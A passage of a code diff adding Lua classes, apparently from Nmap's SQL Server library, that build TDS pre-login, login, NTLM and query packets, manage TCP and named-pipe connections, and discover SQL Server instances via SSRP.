+ stdnse.debug1("%s: No parser for token type 0x%X", "MSSQL", ttype )
+ return -1, ("No parser for token type: 0x%X"):format( ttype )
+ end
+
+ return Token.Parse[ttype](data, pos)
+ end,
+
+}
+
+
+--- QueryPacket class
+QueryPacket =
+{
+ new = function(self,o)
+ o = o or {}
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ SetQuery = function( self, query )
+ self.query = query
+ end,
+
+ --- Returns the query packet as string
+ --
+ -- @return string containing the authentication packet
+ ToString = function( self )
+ return PacketType.Query, unicode.utf8to16( self.query )
+ end,
+
+}
+
+
+--- PreLoginPacket class
+PreLoginPacket =
+{
+ -- TDS pre-login option types
+ OPTION_TYPE = {
+ Version = 0x00,
+ Encryption = 0x01,
+ InstOpt = 0x02,
+ ThreadId = 0x03,
+ MARS = 0x04,
+ Terminator = 0xFF,
+ },
+
+
+ versionInfo = nil,
+ _requestEncryption = 0,
+ _instanceName = "",
+ _threadId = 0, -- Dummy value; will be filled in later
+ _requestMars = nil,
+
+ new = function(self,o)
+ o = o or {}
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Sets the client version (default = 9.00.1399.00)
+ --
+ -- @param versionInfo A SqlServerVersionInfo object with the client version information
+ SetVersion = function(self, versionInfo)
+ self._versionInfo = versionInfo
+ end,
+
+ --- Sets whether to request encryption (default = false)
+ --
+ -- @param requestEncryption A boolean indicating whether encryption will be requested
+ SetRequestEncryption = function(self, requestEncryption)
+ if requestEncryption then
+ self._requestEncryption = 1
+ else
+ self._requestEncryption = 0
+ end
+ end,
+
+ --- Sets whether to request MARS support (default = undefined)
+ --
+ -- @param requestMars A boolean indicating whether MARS support will be requested
+ SetRequestMars = function(self, requestMars)
+ if requestMars then
+ self._requestMars = 1
+ else
+ self._requestMars = 0
+ end
+ end,
+
+ --- Sets the instance name of the target
+ --
+ -- @param instanceName A string containing the name of the instance
+ SetInstanceName = function(self, instanceName)
+ self._instanceName = instanceName or ""
+ end,
+
+ --- Returns the pre-login packet as a byte string
+ --
+ -- @return byte string containing the pre-login packet
+ ToBytes = function(self)
+ -- Lengths for the values of TDS pre-login option fields
+ local OPTION_LENGTH_CLIENT = {
+ [PreLoginPacket.OPTION_TYPE.Version] = 6,
+ [PreLoginPacket.OPTION_TYPE.Encryption] = 1,
+ [PreLoginPacket.OPTION_TYPE.InstOpt] = -1,
+ [PreLoginPacket.OPTION_TYPE.ThreadId] = 4,
+ [PreLoginPacket.OPTION_TYPE.MARS] = 1,
+ [PreLoginPacket.OPTION_TYPE.Terminator] = 0,
+ }
+
+ local optionLength, optionType = 0, 0
+ local offset = 1 -- Terminator
+ offset = offset + 5 -- Version
+ offset = offset + 5 -- Encryption
+ offset = offset + 5 -- InstOpt
+ offset = offset + 5 -- ThreadId
+ if self._requestMars then offset = offset + 3 end -- MARS
+
+ if not self.versionInfo then
+ self.versionInfo = SqlServerVersionInfo:new()
+ self.versionInfo:SetVersionNumber( "9.00.1399.00" )
+ end
+
+ optionType = PreLoginPacket.OPTION_TYPE.Version
+ optionLength = OPTION_LENGTH_CLIENT[ optionType ]
+ local data = { string.pack( ">BI2I2", optionType, offset, optionLength ) }
+ offset = offset + optionLength
+
+ optionType = PreLoginPacket.OPTION_TYPE.Encryption
+ optionLength = OPTION_LENGTH_CLIENT[ optionType ]
+ data[#data+1] = string.pack( ">BI2I2", optionType, offset, optionLength )
+ offset = offset + optionLength
+
+ optionType = PreLoginPacket.OPTION_TYPE.InstOpt
+ optionLength = #self._instanceName + 1 --(string length + null-terminator)
+ data[#data+1] = string.pack( ">BI2I2", optionType, offset, optionLength )
+ offset = offset + optionLength
+
+ optionType = PreLoginPacket.OPTION_TYPE.ThreadId
+ optionLength = OPTION_LENGTH_CLIENT[ optionType ]
+ data[#data+1] = string.pack( ">BI2I2", optionType, offset, optionLength )
+ offset = offset + optionLength
+
+ if self.requestMars then
+ optionType = PreLoginPacket.OPTION_TYPE.MARS
+ optionLength = OPTION_LENGTH_CLIENT[ optionType ]
+ data[#data+1] = string.pack( ">BI2I2", optionType, offset, optionLength )
+ offset = offset + optionLength
+ end
+
+ data[#data+1] = string.pack( "B", PreLoginPacket.OPTION_TYPE.Terminator )
+
+ -- Now that the pre-login headers are done, write the data
+ data[#data+1] = string.pack( ">BBI2I2", self.versionInfo.major, self.versionInfo.minor,
+ self.versionInfo.build, self.versionInfo.subBuild )
+ data[#data+1] = string.pack( "<BzI4", self._requestEncryption, self._instanceName, self._threadId )
+ if self.requestMars then
+ data[#data+1] = string.pack( "B", self._requestMars )
+ end
+
+ return PacketType.PreLogin, table.concat(data)
+ end,
+
+ --- Reads a byte-string and creates a PreLoginPacket object from it. This is
+ -- intended to handle the server's response to a pre-login request.
+ FromBytes = function( bytes )
+ local OPTION_LENGTH_SERVER = {
+ [PreLoginPacket.OPTION_TYPE.Version] = 6,
+ [PreLoginPacket.OPTION_TYPE.Encryption] = 1,
+ [PreLoginPacket.OPTION_TYPE.InstOpt] = -1,
+ [PreLoginPacket.OPTION_TYPE.ThreadId] = 0, -- According to the TDS spec, this value should be empty from the server
+ [PreLoginPacket.OPTION_TYPE.MARS] = 1,
+ [PreLoginPacket.OPTION_TYPE.Terminator] = 0,
+ }
+
+
+ local status, pos = false, 1
+ local preLoginPacket = PreLoginPacket:new()
+
+ while true do
+
+ local optionType, optionPos, optionLength, optionData, expectedOptionLength, _
+ if pos > #bytes then
+ stdnse.debug2("%s: Could not extract optionType.", "MSSQL" )
+ return false, "Invalid pre-login response"
+ end
+ optionType, pos = ("B"):unpack(bytes, pos)
+ if ( optionType == PreLoginPacket.OPTION_TYPE.Terminator ) then
+ status = true
+ break
+ end
+ expectedOptionLength = OPTION_LENGTH_SERVER[ optionType ]
+ if ( not expectedOptionLength ) then
+ stdnse.debug2("%s: Unrecognized pre-login option type: %s", "MSSQL", optionType )
+ expectedOptionLength = -1
+ end
+
+ if pos + 4 > #bytes + 1 then
+ stdnse.debug2("%s: Could not unpack optionPos and optionLength.", "MSSQL" )
+ return false, "Invalid pre-login response"
+ end
+ optionPos, optionLength, pos = (">I2I2"):unpack(bytes, pos)
+
+ optionPos = optionPos + 1 -- convert from 0-based index to 1-based index
+
+ if ( optionLength ~= expectedOptionLength and expectedOptionLength ~= -1 ) then
+ stdnse.debug2("%s: Option data is incorrect size in pre-login response. ", "MSSQL" )
+ stdnse.debug2("%s: (optionType: %s) (optionLength: %s)", "MSSQL", optionType, optionLength )
+ return false, "Invalid pre-login response"
+ end
+ optionData = bytes:sub( optionPos, optionPos + optionLength - 1 )
+ if #optionData ~= optionLength then
+ stdnse.debug2("%s: Could not read sufficient bytes from version data.", "MSSQL" )
+ return false, "Invalid pre-login response"
+ end
+
+ if ( optionType == PreLoginPacket.OPTION_TYPE.Version ) then
+ local major, minor, build, subBuild = (">BBI2I2"):unpack(optionData)
+ local version = SqlServerVersionInfo:new()
+ version:SetVersion( major, minor, build, subBuild, "SSNetLib" )
+ preLoginPacket.versionInfo = version
+ elseif ( optionType == PreLoginPacket.OPTION_TYPE.Encryption ) then
+ preLoginPacket:SetRequestEncryption( ("B"):unpack(optionData) )
+ elseif ( optionType == PreLoginPacket.OPTION_TYPE.InstOpt ) then
+ preLoginPacket:SetInstanceName( ("z"):unpack(optionData) )
+ elseif ( optionType == PreLoginPacket.OPTION_TYPE.ThreadId ) then
+ -- Do nothing. According to the TDS spec, this option is empty when sent from the server
+ elseif ( optionType == PreLoginPacket.OPTION_TYPE.MARS ) then
+ preLoginPacket:SetRequestMars( ("B"):unpack(optionData) )
+ end
+ end
+
+ return status, preLoginPacket
+ end,
+}
+
+
+--- LoginPacket class
+LoginPacket =
+{
+
+ -- options_1 possible values
+ -- 0x80 enable warning messages if SET LANGUAGE issued
+ -- 0x40 change to initial database must succeed
+ -- 0x20 enable warning messages if USE <database> issued
+ -- 0x10 enable BCP
+
+ -- options_2 possible values
+ -- 0x80 enable domain login security
+ -- 0x40 "USER_SERVER - reserved"
+ -- 0x20 user type is "DQ login"
+ -- 0x10 user type is "replication login"
+ -- 0x08 "fCacheConnect"
+ -- 0x04 "fTranBoundary"
+ -- 0x02 client is an ODBC driver
+ -- 0x01 change to initial language must succeed
+ length = 0,
+ version = 0x71000001, -- Version 7.1
+ size = 0,
+ cli_version = 7, -- From jTDS JDBC driver
+ cli_pid = 0, -- Dummy value
+ conn_id = 0,
+ options_1 = 0xa0,
+ options_2 = 0x03,
+ sqltype_flag = 0,
+ reserved_flag= 0,
+ time_zone = 0,
+ collation = 0,
+
+ -- Strings
+ client = "Nmap",
+ username = nil,
+ password = nil,
+ app = "Nmap NSE",
+ server = nil,
+ library = "mssql.lua",
+ locale = "",
+ database = "master", --nil,
+ MAC = "\x00\x00\x00\x00\x00\x00", -- should contain client MAC, jTDS uses all zeroes
+
+ new = function(self,o)
+ o = o or {}
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Sets the username used for authentication
+ --
+ -- @param username string containing the username to user for authentication
+ SetUsername = function(self, username)
+ self.username = username
+ end,
+
+ --- Sets the password used for authentication
+ --
+ -- @param password string containing the password to user for authentication
+ SetPassword = function(self, password)
+ self.password = password
+ end,
+
+ --- Sets the database used in authentication
+ --
+ -- @param database string containing the database name
+ SetDatabase = function(self, database)
+ self.database = database
+ end,
+
+ --- Sets the server's name used in authentication
+ --
+ -- @param server string containing the name or ip of the server
+ SetServer = function(self, server)
+ self.server = server
+ end,
+
+ SetDomain = function(self, domain)
+ self.domain = domain
+ end,
+
+ --- Returns the authentication packet as string
+ --
+ -- @return string containing the authentication packet
+ ToString = function(self)
+ local data
+ local offset = 86
+ local ntlmAuth = not(not(self.domain))
+ local authLen = 0
+
+ self.cli_pid = math.random(100000)
+ local u_client = unicode.utf8to16(self.client)
+ local u_app = unicode.utf8to16(self.app)
+ local u_server = unicode.utf8to16(self.server)
+ local u_library = unicode.utf8to16(self.library)
+ local u_locale = unicode.utf8to16(self.locale)
+ local u_database = unicode.utf8to16(self.database)
+ local u_username, uc_password
+
+ self.length = offset + #u_client + #u_app + #u_server + #u_library + #u_database
+
+ if ( ntlmAuth ) then
+ authLen = 32 + #self.domain
+ self.length = self.length + authLen
+ self.options_2 = self.options_2 + 0x80
+ else
+ u_username = unicode.utf8to16(self.username)
+ uc_password = Auth.TDS7CryptPass(self.password, unicode.utf8_dec)
+ self.length = self.length + #u_username + #uc_password
+ end
+
+ data = {
+ string.pack("<I4I4I4I4I4I4", self.length, self.version, self.size, self.cli_version, self.cli_pid, self.conn_id ),
+ string.pack("BBBB", self.options_1, self.options_2, self.sqltype_flag, self.reserved_flag ),
+ string.pack("<I4I4", self.time_zone, self.collation ),
+
+ -- offsets begin
+ string.pack("<I2I2", offset, #u_client/2 ),
+ }
+ offset = offset + #u_client
+
+ if ( not(ntlmAuth) ) then
+ data[#data+1] = string.pack("<I2I2", offset, #u_username/2 )
+
+ offset = offset + #u_username
+ data[#data+1] = string.pack("<I2I2", offset, #uc_password/2 )
+ offset = offset + #uc_password
+ else
+ data[#data+1] = string.pack("<I2I2", offset, 0 )
+ data[#data+1] = string.pack("<I2I2", offset, 0 )
+ end
+
+ data[#data+1] = string.pack("<I2I2", offset, #u_app/2 )
+ offset = offset + #u_app
+
+ data[#data+1] = string.pack("<I2I2", offset, #u_server/2 )
+ offset = offset + #u_server
+
+ -- Offset to unused placeholder (reserved for future use in TDS spec)
+ data[#data+1] = string.pack("<I2I2", 0, 0 )
+
+ data[#data+1] = string.pack("<I2I2", offset, #u_library/2 )
+ offset = offset + #u_library
+
+ data[#data+1] = string.pack("<I2I2", offset, #u_locale/2 )
+ offset = offset + #u_locale
+
+ data[#data+1] = string.pack("<I2I2", offset, #u_database/2 )
+ offset = offset + #u_database
+
+ -- client MAC address, hardcoded to 00:00:00:00:00:00
+ data[#data+1] = self.MAC
+
+ -- offset to auth info
+ data[#data+1] = string.pack("<I2", offset)
+ -- length of nt auth (should be 0 for sql auth)
+ data[#data+1] = string.pack("<I2", authLen)
+ -- next position (same as total packet length)
+ data[#data+1] = string.pack("<I2", self.length)
+ -- zero pad
+ data[#data+1] = string.pack("<I2", 0)
+
+ -- Auth info wide strings
+ data[#data+1] = u_client
+ if ( not(ntlmAuth) ) then
+ data[#data+1] = u_username
+ data[#data+1] = uc_password
+ end
+ data[#data+1] = u_app
+ data[#data+1] = u_server
+ data[#data+1] = u_library
+ data[#data+1] = u_locale
+ data[#data+1] = u_database
+
+ if ( ntlmAuth ) then
+ local NTLMSSP_NEGOTIATE = 1
+ local flags = 0x0000b201
+ local workstation = ""
+
+ data[#data+1] = "NTLMSSP\0"
+ data[#data+1] = string.pack("<I4I4", NTLMSSP_NEGOTIATE, flags)
+ data[#data+1] = string.pack("<I2I2I4", #self.domain, #self.domain, 32)
+ data[#data+1] = string.pack("<I2I2I4", #workstation, #workstation, 32)
+ data[#data+1] = self.domain:upper()
+ end
+
+ return PacketType.Login, table.concat(data)
+ end,
+
+}
+
+NTAuthenticationPacket = {
+
+ new = function(self, username, password, domain, nonce)
+ local o = {}
+ setmetatable(o, self)
+ o.username = username
+ o.domain = domain
+ o.nonce = nonce
+ o.password = password
+ self.__index = self
+ return o
+ end,
+
+ ToString = function(self)
+ local ntlmssp = "NTLMSSP\0"
+ local NTLMSSP_AUTH = 3
+ local domain = unicode.utf8to16(self.domain:upper())
+ local user = unicode.utf8to16(self.username)
+ local hostname, sessionkey = "", ""
+ local flags = 0x00008201
+ local ntlm_response = Auth.NtlmResponse(self.password, self.nonce)
+ local lm_response = Auth.LmResponse(self.password, self.nonce)
+
+ local domain_offset = 64
+ local username_offset = domain_offset + #domain
+ local lm_response_offset = username_offset + #user
+ local ntlm_response_offset = lm_response_offset + #lm_response
+ local hostname_offset = ntlm_response_offset + #ntlm_response
+ local sessionkey_offset = hostname_offset + #hostname
+
+ local data = ntlmssp .. string.pack("<I4I2I2I4", NTLMSSP_AUTH, #lm_response, #lm_response, lm_response_offset)
+ .. string.pack("<I2I2I4", #ntlm_response, #ntlm_response, ntlm_response_offset)
+ .. string.pack("<I2I2I4", #domain, #domain, domain_offset)
+ .. string.pack("<I2I2I4", #user, #user, username_offset)
+ .. string.pack("<I2I2I4", #hostname, #hostname, hostname_offset)
+ .. string.pack("<I2I2I4", #sessionkey, #sessionkey, sessionkey_offset)
+ .. string.pack("<I4", flags)
+ .. domain
+ .. user
+ .. lm_response .. ntlm_response
+
+ return PacketType.NTAuthentication, data
+ end,
+
+}
+
+-- Handles communication with SQL Server
+TDSStream = {
+
+ -- Status flag constants
+ MESSAGE_STATUS_FLAGS = {
+ Normal = 0x0,
+ EndOfMessage = 0x1,
+ IgnoreThisEvent = 0x2,
+ ResetConnection = 0x4,
+ ResetConnectionSkipTran = 0x8,
+ },
+
+ _packetId = 0,
+ _pipe = nil,
+ _socket = nil,
+ _name = nil,
+
+ new = function(self,o)
+ o = o or {}
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Establishes a connection to the SQL server.
+ --
+ -- @param self A mssql.Helper object
+ -- @param instanceInfo A SqlServerInstanceInfo object for the instance to
+ -- connect to.
+ -- @param connectionPreference (Optional) A list containing one or both of
+ -- the strings "TCP" and "Named Pipes", indicating which transport
+ -- methods to try and in what order.
+ -- @param smbOverrides (Optional) An overrides table for calls to the <code>smb</code>
+ -- library (for use with named pipes).
+ ConnectEx = function( self, instanceInfo, connectionPreference, smbOverrides )
+ if ( self._socket ) then return false, "Already connected via TCP" end
+ if ( self._pipe ) then return false, "Already connected via named pipes" end
+ connectionPreference = connectionPreference or stdnse.get_script_args('mssql.protocol') or { "TCP", "Named Pipes" }
+ if ( connectionPreference and 'string' == type(connectionPreference) ) then
+ connectionPreference = { connectionPreference }
+ end
+
+ local status, result, connectionType, errorMessage
+ stdnse.debug3("%s: Connection preferences for %s: %s",
+ "MSSQL", instanceInfo:GetName(), table.concat(connectionPreference, ", ") )
+
+ for _, connectionType in ipairs( connectionPreference ) do
+ if connectionType == "TCP" then
+
+ if not ( instanceInfo.port ) then
+ stdnse.debug3("%s: Cannot connect to %s via TCP because port table is not set.",
+ "MSSQL", instanceInfo:GetName() )
+ result = "No TCP port for this instance"
+ else
+ status, result = self:Connect( instanceInfo.host, instanceInfo.port )
+ if status then return true end
+ end
+
+ elseif connectionType == "Named Pipes" or connectionType == "NP" then
+
+ if not ( instanceInfo.pipeName ) then
+ stdnse.debug3("%s: Cannot connect to %s via named pipes because pipe name is not set.",
+ "MSSQL", instanceInfo:GetName() )
+ result = "No named pipe for this instance"
+ else
+ status, result = self:ConnectToNamedPipe( instanceInfo.host, instanceInfo.pipeName, smbOverrides )
+ if status then return true end
+ end
+
+ else
+ stdnse.debug1("%s: Unknown connection preference: %s", "MSSQL", connectionType )
+ return false, ("ERROR: Unknown connection preference: %s"):format(connectionType)
+ end
+
+ -- Handle any error messages
+ if not status then
+ if errorMessage then
+ errorMessage = string.format( "%s, %s: %s", errorMessage, connectionType, result or "nil" )
+ else
+ errorMessage = string.format( "%s: %s", connectionType, result or "nil" )
+ end
+ end
+ end
+
+ if not errorMessage then
+ errorMessage = string.format( "%s: None of the preferred connection types are available for %s\\%s",
+ "MSSQL", instanceInfo:GetName() )
+ end
+
+ return false, errorMessage
+ end,
+
+ --- Establishes a connection to the SQL server
+ --
+ -- @param host A host table for the target host
+ -- @param pipePath The path to the named pipe of the target SQL Server
+ -- (e.g. "\MSSQL$SQLEXPRESS\sql\query"). If nil, "\sql\query\" is used.
+ -- @param smbOverrides (Optional) An overrides table for calls to the <code>smb</code>
+ -- library (for use with named pipes).
+ -- @return status: true on success, false on failure
+ -- @return error_message: an error message, or nil
+ ConnectToNamedPipe = function( self, host, pipePath, overrides )
+ if ( self._socket ) then return false, "Already connected via TCP" end
+
+ if ( SCANNED_PORTS_ONLY and smb.get_port( host ) == nil ) then
+ stdnse.debug2("%s: Connection disallowed: scanned-ports-only is set and no SMB port is available", "MSSQL" )
+ return false, "Connection disallowed: scanned-ports-only"
+ end
+
+ pipePath = pipePath or "\\sql\\query"
+
+ self._pipe = namedpipes.named_pipe:new()
+ local status, result = self._pipe:connect( host, pipePath, overrides )
+ if ( status ) then
+ self._name = self._pipe.pipe
+ else
+ self._pipe = nil
+ end
+
+ return status, result
+ end,
+
+ --- Establishes a connection to the SQL server
+ --
+ -- @param host table containing host information
+ -- @param port table containing port information
+ -- @return status true on success, false on failure
+ -- @return result containing error message on failure
+ Connect = function( self, host, port )
+ if ( self._pipe ) then return false, "Already connected via named pipes" end
+
+ if ( SCANNED_PORTS_ONLY and nmap.get_port_state( host, port ) == nil ) then
+ stdnse.debug2("%s: Connection disallowed: scanned-ports-only is set and port %d was not scanned", "MSSQL", port.number )
+ return false, "Connection disallowed: scanned-ports-only"
+ end
+
+ local status, result, lport, _
+
+ self._socket = nmap.new_socket()
+
+ -- Set the timeout to something realistic for connects
+ self._socket:set_timeout( 5000 )
+ status, result = self._socket:connect(host, port)
+
+ if ( status ) then
+ -- Sometimes a Query can take a long time to respond, so we set
+ -- the timeout to 30 seconds. This shouldn't be a problem as the
+ -- library attempt to decode the protocol and avoid reading past
+ -- the end of the input buffer. So the only time the timeout is
+ -- triggered is when waiting for a response to a query.
+ self._socket:set_timeout( MSSQL_TIMEOUT * 1000 )
+
+ status, _, lport, _, _ = self._socket:get_info()
+ end
+
+ if ( not(status) ) then
+ self._socket = nil
+ stdnse.debug2("%s: Socket connection failed on %s:%s", "MSSQL", host.ip, port.number )
+ return false, "Socket connection failed"
+ end
+ self._name = string.format( "%s:%s", host.ip, port.number )
+
+ return status, result
+ end,
+
+ --- Disconnects from the SQL Server
+ --
+ -- @return status true on success, false on failure
+ -- @return result containing error message on failure
+ Disconnect = function( self )
+ if ( self._socket ) then
+ local status, result = self._socket:close()
+ self._socket = nil
+ return status, result
+ elseif ( self._pipe ) then
+ local status, result = self._pipe:disconnect()
+ self._pipe = nil
+ return status, result
+ else
+ return false, "Not connected"
+ end
+ end,
+
+ --- Sets the timeout for communication over the socket
+ --
+ -- @param timeout number containing the new socket timeout in ms
+ SetTimeout = function( self, timeout )
+ if ( self._socket ) then
+ self._socket:set_timeout(timeout)
+ else
+ return false, "Not connected"
+ end
+ end,
+
+ --- Gets the name of the name pipe, or nil
+ GetNamedPipeName = function( self )
+ if ( self._pipe ) then
+ return self._pipe.name
+ else
+ return nil
+ end
+ end,
+
+ --- Send a TDS request to the server
+ --
+ -- @param packetType A <code>PacketType</code>, indicating the type of TDS
+ -- packet being sent.
+ -- @param packetData A string containing the raw data to send to the server
+ -- @return status true on success, false on failure
+ -- @return result containing error message on failure
+ Send = function( self, packetType, packetData )
+ local packetLength = packetData:len() + 8 -- +8 for TDS header
+ local messageStatus, spid, window = 1, 0, 0
+
+
+ if ( packetType ~= PacketType.NTAuthentication ) then self._packetId = self._packetId + 1 end
+ local assembledPacket = string.pack(">BBI2I2BB", packetType, messageStatus, packetLength, spid, self._packetId, window) .. packetData
+
+ if ( self._socket ) then
+ return self._socket:send( assembledPacket )
+ elseif ( self._pipe ) then
+ return self._pipe:send( assembledPacket )
+ else
+ return false, "Not connected"
+ end
+ end,
+
+ --- Receives responses from SQL Server
+ --
+ -- The function continues to read and assemble a response until the server
+ -- responds with the last response flag set
+ --
+ -- @return status true on success, false on failure
+ -- @return result containing raw data contents or error message on failure
+ -- @return errorDetail nil, or additional information about an error. In
+ -- the case of named pipes, this will be an SMB error name (e.g. NT_STATUS_PIPE_DISCONNECTED)
+ Receive = function( self )
+ local status, result, errorDetail
+ local combinedData, readBuffer = "", "" -- the buffer is solely for the benefit of TCP connections
+ local tdsPacketAvailable = true
+
+ if not ( self._socket or self._pipe ) then
+ return false, "Not connected"
+ end
+
+ -- Large messages (e.g. result sets) can be split across multiple TDS
+ -- packets from the server (which could themselves each be split across
+ -- multiple TCP packets or SMB messages).
+ while ( tdsPacketAvailable ) do
+ local packetType, messageStatus, packetLength, spid, window
+ local pos = 1
+
+ if ( self._socket ) then
+ -- If there is existing data in the readBuffer, see if there's
+ -- enough to read the TDS headers for the next packet. If not,
+ -- do another read so we have something to work with.
+ if ( readBuffer:len() < 8 ) then
+ status, result = self._socket:receive_bytes(8 - readBuffer:len())
+ readBuffer = readBuffer .. result
+ end
+ elseif ( self._pipe ) then
+ -- The named pipe takes care of all of its reassembly. We don't
+ -- have to mess with buffers and repeatedly reading until we get
+ -- the whole packet. We'll still write to readBuffer, though, so
+ -- that the common logic can be reused.
+ status, result, errorDetail = self._pipe:receive()
+ readBuffer = result
+ end
+
+ if not ( status and readBuffer ) then return false, result, errorDetail end
+
+ -- TDS packet validity check: packet at least as long as the TDS header
+ if ( readBuffer:len() < 8 ) then
+ stdnse.debug2("%s: Receiving (%s): packet is invalid length", "MSSQL", self._name )
+ return false, "Server returned invalid packet"
+ end
+
+ -- read in the TDS headers
+ packetType, messageStatus, packetLength, pos = string.unpack(">BBI2", readBuffer, pos )
+ spid, self._packetId, window, pos = string.unpack(">I2BB", readBuffer, pos )
+
+ -- TDS packet validity check: packet type is Response (0x4)
+ if ( packetType ~= PacketType.Response ) then
+ stdnse.debug2("%s: Receiving (%s): Expected type 0x4 (response), but received type 0x%x",
+ "MSSQL", self._name, packetType )
+ return false, "Server returned invalid packet"
+ end
+
+ if ( self._socket ) then
+ -- If we didn't previously read in enough data to complete this
+ -- TDS packet, let's do so.
+ while ( packetLength - readBuffer:len() > 0 ) do
+ status, result = self._socket:receive()
+ if not ( status and result ) then return false, result end
+ readBuffer = readBuffer .. result
+ end
+ end
+
+ -- We've read in an apparently valid TDS packet
+ local thisPacketData = readBuffer:sub( pos, packetLength )
+ -- Append its data to that of any previous TDS packets
+ combinedData = combinedData .. thisPacketData
+ if ( self._socket ) then
+ -- If we read in data beyond the end of this TDS packet, save it
+ -- so that we can use it in the next loop.
+ readBuffer = readBuffer:sub( packetLength + 1 )
+ end
+
+ -- TDS packet validity check: packet length matches length from header
+ if ( packetLength ~= (thisPacketData:len() + 8) ) then
+ stdnse.debug2("%s: Receiving (%s): Header reports length %d, actual length is %d",
+ "MSSQL", self._name, packetLength, thisPacketData:len() )
+ return false, "Server returned invalid packet"
+ end
+
+ -- Check the status flags in the TDS packet to see if the message is
+ -- continued in another TDS packet.
+ tdsPacketAvailable = (( messageStatus & TDSStream.MESSAGE_STATUS_FLAGS.EndOfMessage) ~=
+ TDSStream.MESSAGE_STATUS_FLAGS.EndOfMessage)
+ end
+
+ -- return only the data section ie. without the headers
+ return status, combinedData
+ end,
+
+}
+
+--- Helper class
+Helper =
+{
+ new = function(self,o)
+ o = o or {}
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Establishes a connection to the SQL server
+ --
+ -- @param host table containing host information
+ -- @param port table containing port information
+ -- @return status true on success, false on failure
+ -- @return result containing error message on failure
+ ConnectEx = function( self, instanceInfo )
+ local status, result
+ self.stream = TDSStream:new()
+ status, result = self.stream:ConnectEx( instanceInfo )
+ if ( not(status) ) then
+ return false, result
+ end
+
+ return true
+ end,
+
+ --- Establishes a connection to the SQL server
+ --
+ -- @param host table containing host information
+ -- @param port table containing port information
+ -- @return status true on success, false on failure
+ -- @return result containing error message on failure
+ Connect = function( self, host, port )
+ local status, result
+ self.stream = TDSStream:new()
+ status, result = self.stream:Connect(host, port)
+ if ( not(status) ) then
+ return false, result
+ end
+
+ return true
+ end,
+
+ --- Returns true if discovery has been performed to detect
+ -- SQL Server instances on the given host
+ WasDiscoveryPerformed = function( host )
+ local mutex = nmap.mutex( "discovery_performed for " .. host.ip )
+ mutex( "lock" )
+ nmap.registry.mssql = nmap.registry.mssql or {}
+ nmap.registry.mssql.discovery_performed = nmap.registry.mssql.discovery_performed or {}
+
+ local wasPerformed = nmap.registry.mssql.discovery_performed[ host.ip ] or false
+ mutex( "done" )
+
+ return wasPerformed
+ end,
+
+ --- Adds an instance to the list of instances kept in the Nmap registry for
+ -- shared use by SQL Server scripts.
+ --
+ -- If the registry already contains the instance, any new information is
+ -- merged into the existing instance info. This may happen, for example,
+ -- when an instance is discovered via named pipes, but the same instance has
+ -- already been discovered via SSRP; this will prevent duplicates, where
+ -- possible.
+ AddOrMergeInstance = function( newInstance )
+ local instanceExists
+
+ nmap.registry.mssql = nmap.registry.mssql or {}
+ nmap.registry.mssql.instances = nmap.registry.mssql.instances or {}
+ nmap.registry.mssql.instances[ newInstance.host.ip ] = nmap.registry.mssql.instances[ newInstance.host.ip ] or {}
+
+ for _, existingInstance in ipairs( nmap.registry.mssql.instances[ newInstance.host.ip ] ) do
+ if existingInstance == newInstance then
+ existingInstance:Merge( newInstance )
+ instanceExists = true
+ break
+ end
+ end
+
+ if not instanceExists then
+ table.insert( nmap.registry.mssql.instances[ newInstance.host.ip ], newInstance )
+ end
+ end,
+
+ --- Gets a table containing SqlServerInstanceInfo objects discovered on
+ -- the specified host (and port, if specified).
+ --
+ -- This table is the NSE registry table itself, not a copy, so do not alter
+ -- it unintentionally.
+ --
+ -- @param host A host table for the target host
+ -- @param port (Optional) If omitted, all of the instances for the host
+ -- will be returned.
+ -- @return A table containing SqlServerInstanceInfo objects, or nil
+ GetDiscoveredInstances = function( host, port )
+ nmap.registry.mssql = nmap.registry.mssql or {}
+ nmap.registry.mssql.instances = nmap.registry.mssql.instances or {}
+ nmap.registry.mssql.instances[ host.ip ] = nmap.registry.mssql.instances[ host.ip ] or {}
+
+ local instances = nmap.registry.mssql.instances[ host.ip ]
+ if ( not port ) then
+ if ( instances and #instances == 0 ) then instances = nil end
+ return instances
+ else
+ for _, instance in ipairs(instances) do
+ if ( instance.port and instance.port.number == port.number and
+ instance.port.protocol == port.protocol ) then
+ return { instance }
+ end
+ end
+
+ return nil
+ end
+ end,
+
+ --- Attempts to discover SQL Server instances using SSRP to query one or
+ -- more (if <code>broadcast</code> is used) SQL Server Browser services.
+ --
+ -- Any discovered instances are returned, as well as being stored for use
+ -- by other scripts (see <code>mssql.Helper.GetDiscoveredInstances()</code>).
+ --
+ -- @param host A host table for the target.
+ -- @param port (Optional) A port table for the target port. If this is nil,
+ -- the default SSRP port (UDP 1434) is used.
+ -- @param broadcast If true, this will be done with an SSRP broadcast, and
+ -- <code>host</code> should contain the broadcast specification (e.g.
+ -- ip = "255.255.255.255").
+ -- @return (status, result) If status is true, result is a table of
+ -- tables containing SqlServerInstanceInfo objects. The top-level table
+ -- is indexed by IP address. If status is false, result is an
+ -- error message.
+ DiscoverBySsrp = function( host, port, broadcast )
+
+ if broadcast then
+ local status, result = SSRP.DiscoverInstances_Broadcast( host, port )
+
+ if not status then
+ return status, result
+ else
+ for ipAddress, host in pairs( result ) do
+ for _, instance in ipairs( host ) do
+ Helper.AddOrMergeInstance( instance )
+ -- Give some version info back to Nmap
+ if ( instance.port and instance.version ) then
+ instance.version:PopulateNmapPortVersion( instance.port )
+ --nmap.set_port_version( instance.host, instance.port)
+ end
+ end
+ end
+
+ return true, result
+ end
+ else
+ local status, result = SSRP.DiscoverInstances( host, port )
+
+ if not status then
+ return status, result
+ else
+ for _, instance in ipairs( result ) do
+ Helper.AddOrMergeInstance( instance )
+ -- Give some version info back to Nmap
+ if ( instance.port and instance.version ) then
+ instance.version:PopulateNmapPortVersion( instance.port )
+ nmap.set_port_version( host, instance.port)
+ end
+ end
+
+ local instances_all = {}
+ instances_all[ host.ip ] = result
+ return true, instances_all
+ end
+ end
+ end,
+
+ --- Attempts to discover a SQL Server instance listening on the specified
+ -- port.
+ --
+ -- If an instance is discovered, it is returned, as well as being stored for
+ -- use by other scripts (see
+ -- <code>mssql.Helper.GetDiscoveredInstances()</code>).
+ --
+ -- @param host A host table for the target.
+ -- @param port A port table for the target port.
+ -- @return (status, result) If status is true, result is a table of
